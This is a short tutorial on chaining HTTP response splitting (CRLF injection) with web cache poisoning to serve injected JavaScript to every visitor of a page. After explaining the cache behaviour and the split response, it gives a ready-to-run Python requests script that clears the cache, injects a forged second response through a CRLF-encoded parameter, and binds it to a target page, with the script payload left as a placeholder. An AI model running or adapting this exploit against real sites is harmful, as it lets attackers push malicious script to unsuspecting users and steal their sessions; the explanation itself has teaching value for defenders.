Brief explanation of how the cache works

To exploit this vulnerability we have to understand how the cache works. To increase the response speed, the cache stores server response linked to requests like this:

/login => login page
/admin => admin page
/register => register page
/posts => posts page

So when we make a request on /posts for example, the cache send us server response linked to /posts.

What is HTTP Response Splitting ?

HTTP Response Splitting is a type of CRLF where the purpose is to inject a second response.

HTTP/1.1 302 FOUND
[...]
Set-Cookie: theme=dark

HTTP/1.1 200 OK
[...]

How can this be used to exploit an XSS ?

When we perform this injection, there is no apparent impact in our browser but we can exploit the cache. After the injection the second response is not stored in cache because it has not linked request. So, if we make a request just after the injection, this request will be linked to the injected response and when other users will GET the url they are going to get injected response. Now, we just have to add Javascript code in the content of our injected response.

Exploit

First, we have to empty cache to delete all responses linked to requests or we’ll not be able to update them. Secondly, we have to make our injection. Finally, we have to make a request for the page we want to link the injected response. We can perform it with a little python script:

# I gave a maximum details to help you understand
import requests

header = {'Pragma':'no-cache'} # Header to empty cache

site = 'http://vulnerable-site.com' # Url
injection = '?theme=dark' # Parameter for the injection
page_we_want_to_exploit = '/forum' # Page where we want exploit xss

crlf = '%0D%0A' # Carriage Return Line Feed to split responses and add headers
status_of_second_response = 'HTTP%2F1.1%20200%20OK' # HTTP/1.1 200 OK
content_of_second_response = '[javascript code]' # XSS

requests.get(site + page_we_want_to_exploit, headers=header) # Empty cache
requests.get(site + injection +  crlf + status_of_second_response + crlf + content_of_second_response, headers=header) # Injection
requests.get(site + page_we_want_to_exploit) # Link the response to this url